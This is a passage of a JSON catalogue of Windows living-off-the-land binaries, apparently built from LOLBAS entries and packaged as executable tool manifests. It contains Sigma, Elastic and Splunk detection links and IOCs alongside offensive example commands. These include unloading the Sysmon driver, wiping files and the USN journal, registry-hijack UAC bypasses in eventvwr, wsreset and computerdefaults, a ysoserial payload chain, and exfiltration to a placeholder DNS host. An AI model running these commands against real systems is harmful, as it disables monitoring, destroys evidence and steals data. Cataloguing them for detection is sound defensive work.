      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_fltmc_unload_driver_sysmon.yml"
      },
      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/61afb1c1c0c3f50637b1bb194f3e6fb09f476e50/rules/windows/defense_evasion_via_filter_manager.toml"
      },
      {
        "type": "splunk",
        "url": "https://github.com/splunk/security_content/blob/18f63553a9dc1a34122fa123deae2b2f9b9ea391/detections/endpoint/unload_sysmon_filter_driver.yml"
      },
      {
        "type": "ioc",
        "description": "4688 events with fltMC.exe"
      }
    ],
    "examples": [
      {
        "description": "Unloads a driver used by security agents (Defense evasion)",
        "command": "fltMC.exe unload SysmonDrv"
      }
    ],
    "execution": {
      "template": "fltmc",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-tamper-fltmc",
    "install": [
      {
        "method": "choco",
        "package_name": "fltmc",
        "commands": [
          "choco install fltmc"
        ]
      }
    ],
    "mitre_ids": [
      "T1562.001"
    ],
    "name": "fltmc",
    "namespace": "windows:tamper:fltmc",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "operating-offensively-against-sysmon",
        "url": "https://www.darkoperator.com/blog/2018/10/5/operating-offensively-against-sysmon"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# fsutil\n\nfsutil is a Windows LOLBin. File System Utility Located at: C:\\Windows\\System32\\fsutil.exe; C:\\Windows\\SysWOW64\\fsutil.exe.\n",
    "_source": "fsutil.md",
    "allowed-tools": [
      "fsutil"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Elliot Killick",
    "capabilities": [
      "security.defense-evasion.tamper",
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "filesystem_write",
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "File System Utility Located at: C:\\Windows\\System32\\fsutil.exe; C:\\Windows\\SysWOW64\\fsutil.exe.",
    "detections": [
      {
        "type": "ioc",
        "description": "fsutil.exe should not be run on a normal workstation"
      },
      {
        "type": "ioc",
        "description": "file setZeroData (not case-sensitive) in the process arguments"
      },
      {
        "type": "ioc",
        "description": "Sysmon Event ID 1"
      },
      {
        "type": "ioc",
        "description": "Execution of process fsutil.exe with trace decode could be suspicious"
      },
      {
        "type": "ioc",
        "description": "Non-Windows netsh.exe execution"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/ff5102832031425f6eed011dd3a2e62653008c94/rules/windows/process_creation/proc_creation_win_susp_fsutil_usage.yml"
      }
    ],
    "examples": [
      {
        "description": "Zero out a file (Can be used to forensically erase a file)",
        "command": "fsutil.exe file setZeroData offset=0 length=9999999999 {PATH_ABSOLUTE}"
      },
      {
        "description": "Delete the USN journal volume to hide file creation activity (Can be used to hide file creation activity)",
        "command": "fsutil.exe usn deletejournal /d c:"
      },
      {
        "description": "Executes a pre-planted binary named netsh.exe from the current directory. (Spawn a pre-planted executable from fsutil.exe.)",
        "command": "fsutil.exe trace decode"
      }
    ],
    "execution": {
      "template": "fsutil",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-tamper-fsutil",
    "install": [
      {
        "method": "choco",
        "package_name": "fsutil",
        "commands": [
          "choco install fsutil"
        ]
      }
    ],
    "mitre_ids": [
      "T1485",
      "T1218"
    ],
    "name": "fsutil",
    "namespace": "windows:tamper:fsutil",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "1720724516324704404",
        "url": "https://twitter.com/0gtweet/status/1720724516324704404"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "defense-evasion",
      "impact",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# computerdefaults\n\ncomputerdefaults is a Windows LOLBin. ComputerDefaults.exe is a Windows system utility for managing default applications for tasks like web browsing, emailing, and media playback. Located at: C:\\Windows\\System32\\ComputerDefaults.exe; C:\\Windows\\SysWOW64\\ComputerDefaults.exe.\n",
    "_source": "computerdefaults.md",
    "allowed-tools": [
      "computerdefaults"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Eron Clarke",
    "capabilities": [
      "security.privilege-escalation.uac-bypass"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "privilege_escalation",
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "ComputerDefaults.exe is a Windows system utility for managing default applications for tasks like web browsing, emailing, and media playback. Located at: C:\\Windows\\System32\\ComputerDefaults.exe; C:\\Windows\\SysWOW64\\ComputerDefaults.exe.",
    "detections": [
      {
        "type": "ioc",
        "description": "Event ID 10"
      },
      {
        "type": "ioc",
        "description": "A binary or script spawned as a child process of ComputerDefaults.exe"
      },
      {
        "type": "ioc",
        "description": "Changes to HKEY_CURRENT_USER\\Software\\Classes\\ms-settings\\Shell\\open\\command"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_uac_bypass_computerdefaults.yml"
      }
    ],
    "examples": [
      {
        "description": "Upon execution, ComputerDefaults.exe checks two registry values at HKEY_CURRENT_USER\\Software\\Classes\\ms-settings\\Shell\\open\\command; if these are set by an attacker, the set command will be executed as a high-integrity process without a UAC prompt being displayed to the user. See 'resources' for which registry keys/values to set. (Execute a binary or script as a high-integrity process without a UAC prompt.)",
        "command": "ComputerDefaults.exe"
      }
    ],
    "execution": {
      "template": "computerdefaults",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "pipes-stdout",
      "requires-root",
      "stealth"
    ],
    "global_vars": {},
    "id": "windows-uacbypass-computerdefaults",
    "install": [
      {
        "method": "choco",
        "package_name": "computerdefaults",
        "commands": [
          "choco install computerdefaults"
        ]
      }
    ],
    "mitre_ids": [
      "T1548.002"
    ],
    "name": "computerdefaults",
    "namespace": "windows:uacbypass:computerdefaults",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "812547525107bd138a1a839118a3a44b",
        "url": "https://gist.github.com/havoc3-3/812547525107bd138a1a839118a3a44b"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# eudcedit\n\neudcedit is a Windows LOLBin. Private Character Editor Windows Utility Located at: c:\\windows\\system32\\eudcedit.exe; c:\\windows\\syswow64\\eudcedit.exe.\n",
    "_source": "eudcedit.md",
    "allowed-tools": [
      "eudcedit"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Matan Bahar",
    "capabilities": [
      "security.privilege-escalation.uac-bypass"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "privilege_escalation",
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Private Character Editor Windows Utility Located at: c:\\windows\\system32\\eudcedit.exe; c:\\windows\\syswow64\\eudcedit.exe.",
    "detections": [
      {
        "type": "ioc",
        "description": "Processes spawned by eudcedit.exe."
      }
    ],
    "examples": [
      {
        "description": "Once executed, the Private Charecter Editor will be opened - click OK, then click File -> Font Links. In the next window choose the option \"Link with Selected Fonts\" and click on Save As, then in the opened enter the command you want to execute. (Execute a binary or script as a high-integrity process without a UAC prompt.)",
        "command": "eudcedit"
      }
    ],
    "execution": {
      "template": "eudcedit",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "pipes-stdout",
      "requires-root",
      "stealth"
    ],
    "global_vars": {},
    "id": "windows-uacbypass-eudcedit",
    "install": [
      {
        "method": "choco",
        "package_name": "eudcedit",
        "commands": [
          "choco install eudcedit"
        ]
      }
    ],
    "mitre_ids": [
      "T1548.002"
    ],
    "name": "eudcedit",
    "namespace": "windows:uacbypass:eudcedit",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "windows-fonts-exploitation-in-2025-bypassing-uac-w",
        "url": "https://medium.com/@matanb707/windows-fonts-exploitation-in-2025-bypassing-uac-with-eudcedit-915599705639"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# eventvwr\n\neventvwr is a Windows LOLBin. Displays Windows Event Logs in a GUI window. Located at: C:\\Windows\\System32\\eventvwr.exe; C:\\Windows\\SysWOW64\\eventvwr.exe.\n",
    "_source": "eventvwr.md",
    "allowed-tools": [
      "eventvwr"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Jacob Gajek",
    "capabilities": [
      "security.privilege-escalation.uac-bypass"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "privilege_escalation",
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Displays Windows Event Logs in a GUI window. Located at: C:\\Windows\\System32\\eventvwr.exe; C:\\Windows\\SysWOW64\\eventvwr.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_uac_bypass_eventvwr.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/registry/registry_set/registry_set_uac_bypass_eventvwr.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/197615345b927682ab7ad7fa3c5f5bb2ed911eed/rules/windows/file/file_event/file_event_win_uac_bypass_eventvwr.yml"
      },
      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/d31ea6253ea40789b1fc49ade79b7ec92154d12a/rules/windows/privilege_escalation_uac_bypass_event_viewer.toml"
      },
      {
        "type": "splunk",
        "url": "https://github.com/splunk/security_content/blob/86a5b644a44240f01274c8b74d19a435c7dae66e/detections/endpoint/eventvwr_uac_bypass.yml"
      },
      {
        "type": "ioc",
        "description": "eventvwr.exe launching child process other than mmc.exe"
      },
      {
        "type": "ioc",
        "description": "Creation or modification of the registry value HKCU\\Software\\Classes\\mscfile\\shell\\open\\command"
      }
    ],
    "examples": [
      {
        "description": "During startup, eventvwr.exe checks the registry value `HKCU\\Software\\Classes\\mscfile\\shell\\open\\command` for the location of mmc.exe, which is used to open the eventvwr.msc saved console file. If the location of another binary or script is added to this registry value, it will be executed as a high-integrity process without a UAC prompt being displayed to the user. (Execute a binary or script as a high-integrity process without a UAC prompt.)",
        "command": "eventvwr.exe"
      },
      {
        "description": "During startup, eventvwr.exe uses .NET deserialization with `%LOCALAPPDATA%\\Microsoft\\EventV~1\\RecentViews` file. This file can be created using https://github.com/pwntester/ysoserial.net (Execute a command to bypass security restrictions that limit the use of command-line interpreters.)",
        "command": "ysoserial.exe -o raw -f BinaryFormatter - g DataSet -c \"{CMD}\" > RecentViews & copy RecentViews %LOCALAPPDATA%\\Microsoft\\EventV~1\\RecentViews & eventvwr.exe"
      }
    ],
    "execution": {
      "template": "eventvwr",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "pipes-stdout",
      "requires-root",
      "stealth"
    ],
    "global_vars": {},
    "id": "windows-uacbypass-eventvwr",
    "install": [
      {
        "method": "choco",
        "package_name": "eventvwr",
        "commands": [
          "choco install eventvwr"
        ]
      }
    ],
    "mitre_ids": [
      "T1548.002"
    ],
    "name": "eventvwr",
    "namespace": "windows:uacbypass:eventvwr",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "",
        "url": "https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/"
      },
      {
        "label": "Invoke-EventVwrBypass.ps1",
        "url": "https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Invoke-EventVwrBypass.ps1"
      },
      {
        "label": "1518970259868626944",
        "url": "https://twitter.com/orange_8361/status/1518970259868626944"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# iscsicpl\n\niscsicpl is a Windows LOLBin. Microsoft iSCSI Initiator Control Panel tool Located at: c:\\windows\\system32\\iscsicpl.exe; c:\\windows\\syswow64\\iscsicpl.exe.\n",
    "_source": "iscsicpl.md",
    "allowed-tools": [
      "iscsicpl"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Ekitji",
    "capabilities": [
      "security.privilege-escalation.uac-bypass"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "privilege_escalation",
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Microsoft iSCSI Initiator Control Panel tool Located at: c:\\windows\\system32\\iscsicpl.exe; c:\\windows\\syswow64\\iscsicpl.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/master/rules/windows/image_load/image_load_uac_bypass_iscsicpl.yml"
      },
      {
        "type": "ioc",
        "description": "C:\\Users\\<username>\\AppData\\Local\\Microsoft\\WindowsApps\\ISCSIEXE.dll"
      },
      {
        "type": "ioc",
        "description": "Suspicious child process to iscsicpl.exe like cmd, powershell etc."
      }
    ],
    "examples": [
      {
        "description": "c:\\windows\\syswow64\\iscsicpl.exe has a DLL injection through `C:\\Users\\<username>\\AppData\\Local\\Microsoft\\WindowsApps\\ISCSIEXE.dll`, resulting in UAC bypass. (Execute a custom DLL via a trusted high-integrity process without a UAC prompt.)",
        "command": "c:\\windows\\syswow64\\iscsicpl.exe"
      },
      {
        "description": "Both `c:\\windows\\system32\\iscsicpl.exe` and `c:\\windows\\system64\\iscsicpl.exe` have UAC bypass through launching iscicpl.exe, then navigating into the Configuration tab, clicking Report, then launching your custom command. (Execute a binary or script as a high-integrity process without a UAC prompt.)",
        "command": "iscsicpl.exe"
      }
    ],
    "execution": {
      "template": "iscsicpl",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "pipes-stdout",
      "requires-root",
      "stealth"
    ],
    "global_vars": {},
    "id": "windows-uacbypass-iscsicpl",
    "install": [
      {
        "method": "choco",
        "package_name": "iscsicpl",
        "commands": [
          "choco install iscsicpl"
        ]
      }
    ],
    "mitre_ids": [
      "T1548.002"
    ],
    "name": "iscsicpl",
    "namespace": "windows:uacbypass:iscsicpl",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "iscsi-initiator-portal",
        "url": "https://learn.microsoft.com/en-us/windows-server/storage/iscsi/iscsi-initiator-portal"
      },
      {
        "label": "iscsicpl_bypassUAC",
        "url": "https://github.com/hackerhouse-opensource/iscsicpl_bypassUAC"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# odbcad32\n\nodbcad32 is a Windows LOLBin. ODBC Data Source Administrator to manage User/System DSNs and ODBC drivers. Located at: c:\\windows\\system32\\odbcad32.exe; c:\\windows\\syswow64\\odbcad32.exe.\n",
    "_source": "odbcad32.md",
    "allowed-tools": [
      "odbcad32"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Ekitji",
    "capabilities": [
      "security.privilege-escalation.uac-bypass"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "privilege_escalation",
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "ODBC Data Source Administrator to manage User/System DSNs and ODBC drivers. Located at: c:\\windows\\system32\\odbcad32.exe; c:\\windows\\syswow64\\odbcad32.exe.",
    "detections": [
      {
        "type": "ioc",
        "description": "odbcad32.exe spawning unexpected child processes."
      }
    ],
    "examples": [
      {
        "description": "Launch odbcad32.exe GUI, click 'Tracing' tab, click 'Browsing' button, enter abitrary command in the File Dialog's path, press enter. (Execute a binary as a high-integrity process without a UAC prompt.)",
        "command": "odbcad32.exe"
      }
    ],
    "execution": {
      "template": "odbcad32",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "pipes-stdout",
      "requires-root",
      "stealth"
    ],
    "global_vars": {},
    "id": "windows-uacbypass-odbcad32",
    "install": [
      {
        "method": "choco",
        "package_name": "odbcad32",
        "commands": [
          "choco install odbcad32"
        ]
      }
    ],
    "mitre_ids": [
      "T1548.002"
    ],
    "name": "odbcad32",
    "namespace": "windows:uacbypass:odbcad32",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "living-off-the-land-and-living-above-uac-6a66738d2",
        "url": "https://medium.com/@thebinaryhashira/living-off-the-land-and-living-above-uac-6a66738d225c"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# wsreset\n\nwsreset is a Windows LOLBin. Used to reset Windows Store settings according to its manifest file Located at: C:\\Windows\\System32\\wsreset.exe.\n",
    "_source": "wsreset.md",
    "allowed-tools": [
      "wsreset"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Oddvar Moe",
    "capabilities": [
      "security.privilege-escalation.uac-bypass"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "privilege_escalation",
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Used to reset Windows Store settings according to its manifest file Located at: C:\\Windows\\System32\\wsreset.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_uac_bypass_wsreset_integrity_level.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_uac_bypass_wsreset.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/registry/registry_event/registry_event_bypass_via_wsreset.yml#"
      },
      {
        "type": "splunk",
        "url": "https://github.com/splunk/security_content/blob/18f63553a9dc1a34122fa123deae2b2f9b9ea391/detections/endpoint/wsreset_uac_bypass.yml"
      },
      {
        "type": "ioc",
        "description": "wsreset.exe launching child process other than mmc.exe"
      },
      {
        "type": "ioc",
        "description": "Creation or modification of the registry value HKCU\\Software\\Classes\\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\\Shell\\open\\command"
      },
      {
        "type": "ioc",
        "description": "Microsoft Defender Antivirus as Behavior:Win32/UACBypassExp.T!gen"
      }
    ],
    "examples": [
      {
        "description": "During startup, wsreset.exe checks the registry value HKCU\\Software\\Classes\\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\\Shell\\open\\command for the command to run. Binary will be executed as a high-integrity process without a UAC prompt being displayed to the user. (Execute a binary or script as a high-integrity process without a UAC prompt.)",
        "command": "wsreset.exe"
      }
    ],
    "execution": {
      "template": "wsreset",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "pipes-stdout",
      "requires-root",
      "stealth"
    ],
    "global_vars": {},
    "id": "windows-uacbypass-wsreset",
    "install": [
      {
        "method": "choco",
        "package_name": "wsreset",
        "commands": [
          "choco install wsreset"
        ]
      }
    ],
    "mitre_ids": [
      "T1548.002"
    ],
    "name": "wsreset",
    "namespace": "windows:uacbypass:wsreset",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "windows-uac-bypass",
        "url": "https://www.activecyber.us/activelabs/windows-uac-bypass"
      },
      {
        "label": "1106644790114947073",
        "url": "https://twitter.com/ihack4falafel/status/1106644790114947073"
      },
      {
        "label": "README.md",
        "url": "https://github.com/hfiref0x/UACME/blob/master/README.md"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# datasvcutil\n\ndatasvcutil is a Windows LOLBin. DataSvcUtil.exe is a command-line tool provided by WCF Data Services that consumes an Open Data Protocol (OData) feed and generates the client data service classes that are needed to access a data service from a .NET Framework client application. Located at: C:\\Windows\\Microsoft.NET\\Framework64\\v3.5\\DataSvcUtil.exe.\n",
    "_source": "datasvcutil.md",
    "allowed-tools": [
      "datasvcutil"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Ialle Teixeira",
    "capabilities": [
      "network.transfer.upload"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "DataSvcUtil.exe is a command-line tool provided by WCF Data Services that consumes an Open Data Protocol (OData) feed and generates the client data service classes that are needed to access a data service from a .NET Framework client application. Located at: C:\\Windows\\Microsoft.NET\\Framework64\\v3.5\\DataSvcUtil.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_lolbin_data_exfiltration_by_using_datasvcutil.yml"
      },
      {
        "type": "ioc",
        "description": "The DataSvcUtil.exe tool is installed in the .NET Framework directory."
      },
      {
        "type": "ioc",
        "description": "Preventing/Detecting DataSvcUtil with non-RFC1918 addresses by Network IPS/IDS."
      },
      {
        "type": "ioc",
        "description": "Monitor process creation for non-SYSTEM and non-LOCAL SERVICE accounts launching DataSvcUtil."
      }
    ],
    "examples": [
      {
        "description": "Upload file, credentials or data exfiltration in general (Upload file)",
        "command": "DataSvcUtil /out:{PATH_ABSOLUTE} /uri:{REMOTEURL}"
      }
    ],
    "execution": {
      "template": "datasvcutil",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "network-intensive",
      "pipes-stdin",
      "pipes-stdout",
      "process-manip",
      "remote"
    ],
    "global_vars": {},
    "id": "windows-upload-datasvcutil",
    "install": [
      {
        "method": "choco",
        "package_name": "datasvcutil",
        "commands": [
          "choco install datasvcutil"
        ]
      }
    ],
    "mitre_ids": [
      "T1567"
    ],
    "name": "datasvcutil",
    "namespace": "windows:upload:datasvcutil",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "wcf-data-service-client-utility-datasvcutil-exe",
        "url": "https://docs.microsoft.com/en-us/dotnet/framework/data/wcf/wcf-data-service-client-utility-datasvcutil-exe"
      },
      {
        "label": "generating-the-data-service-client-library-wcf-dat",
        "url": "https://docs.microsoft.com/en-us/dotnet/framework/data/wcf/generating-the-data-service-client-library-wcf-data-services"
      },
      {
        "label": "how-to-add-a-data-service-reference-wcf-data-servi",
        "url": "https://docs.microsoft.com/en-us/dotnet/framework/data/wcf/how-to-add-a-data-service-reference-wcf-data-services"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "exfiltration"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# testwindowremoteagent\n\ntestwindowremoteagent is a Windows LOLBin. TestWindowRemoteAgent.exe is the command-line tool to establish RPC Located at: C:\\Program Files\\Microsoft Visual Studio\\2022\\Community\\Common7\\IDE\\CommonExtensions\\Microsoft\\TestWindow\\RemoteAgent\\TestWindowRemoteAgent.exe.\n",
    "_source": "testwindowremoteagent.md",
    "allowed-tools": [
      "testwindowremoteagent"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Onat Uzunyayla",
    "capabilities": [
      "network.transfer.upload"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "TestWindowRemoteAgent.exe is the command-line tool to establish RPC Located at: C:\\Program Files\\Microsoft Visual Studio\\2022\\Community\\Common7\\IDE\\CommonExtensions\\Microsoft\\TestWindow\\RemoteAgent\\TestWindowRemoteAgent.exe.",
    "detections": [
      {
        "type": "ioc",
        "description": "TestWindowRemoteAgent.exe spawning unexpectedly"
      }
    ],
    "examples": [
      {
        "description": "Sends DNS query for open connection to any host, enabling exfiltration over DNS (Attackers may utilize this to exfiltrate data over DNS)",
        "command": "TestWindowRemoteAgent.exe start -h {your-base64-data}.example.com -p 8000"
      }
    ],
    "execution": {
      "template": "testwindowremoteagent",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "network-intensive",
      "pipes-stdout",
      "remote"
    ],
    "global_vars": {},
    "id": "windows-upload-testwindowremoteagent",
    "install": [
      {
        "method": "choco",
        "package_name": "testwindowremoteagent",
        "commands": [
          "choco install testwindowremoteagent"
        ]
      }
    ],
    "mitre_ids": [
      "T1048"
    ],
    "name": "testwindowremoteagent",
    "namespace": "windows:upload:testwindowremoteagent",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "exfiltration"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
